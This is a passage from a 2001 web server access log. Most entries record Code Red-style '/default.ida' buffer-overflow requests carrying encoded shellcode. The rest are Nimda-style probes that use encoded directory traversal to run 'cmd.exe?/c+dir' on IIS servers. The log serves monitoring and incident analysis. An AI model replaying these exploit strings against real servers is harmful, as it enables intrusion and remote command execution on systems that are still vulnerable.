  1643. 20010917 14:13:16: dialup-1-4.cc.columbia.edu [128.59.42.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1644. 20010917 14:20:59: dialup-1-4.cc.columbia.edu [128.59.42.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1645. 20010917 14:23:17: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1646. 20010917 14:44:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1647. 20010917 14:55:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1648. 20010917 15:11:05: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1649. 20010917 16:17:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1650. 20010917 16:56:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1651. 20010917 17:17:53: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1652. 20010917 17:28:32: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1653. 20010917 18:15:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1654. 20010917 18:18:37: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1655. 20010917 18:38:50: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1656. 20010917 19:00:20: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1657. 20010917 19:39:54: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1658. 20010917 20:21:24: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1659. 20010917 20:52:33: fr-cust-242.isdn.net.il [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1660. 20010917 20:55:29: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1661. 20010917 22:06:39: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1662. 20010917 22:24:21: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1663. 20010917 22:43:30: 196-28-56-244.prtc.net [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1664. 20010918 00:40:33:  [210.83.180.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1665. 20010918 00:51:51: dialup-cc2-48.cc.columbia.edu [128.59.58.153] ""
  1666. 20010918 01:47:16:  [128.134.171.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1667. 20010918 02:38:32: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1668. 20010918 03:02:38:  [217.58.72.211] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1669. 20010918 03:05:20: pc130.ifca.com.my [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"
  1670. 20010918 03:58:41: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1671. 20010918 04:57:18: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1672. 20010918 05:06:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1673. 20010918 05:17:06: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1674. 20010918 05:49:48: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1675. 20010918 05:51:15: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1676. 20010918 07:49:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1677. 20010918 08:09:56: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1678. 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1679. 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1680. 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1681. 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1682. 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1683. 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1684. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1685. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1686. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1687. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1688. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1689. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1690. 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1691. 20010918 09:13:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1692. 20010918 09:13:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1693. 20010918 09:13:48: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1694. 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1695. 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1696. 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1697. 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1698. 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1699. 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1700. 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1701. 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1702. 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
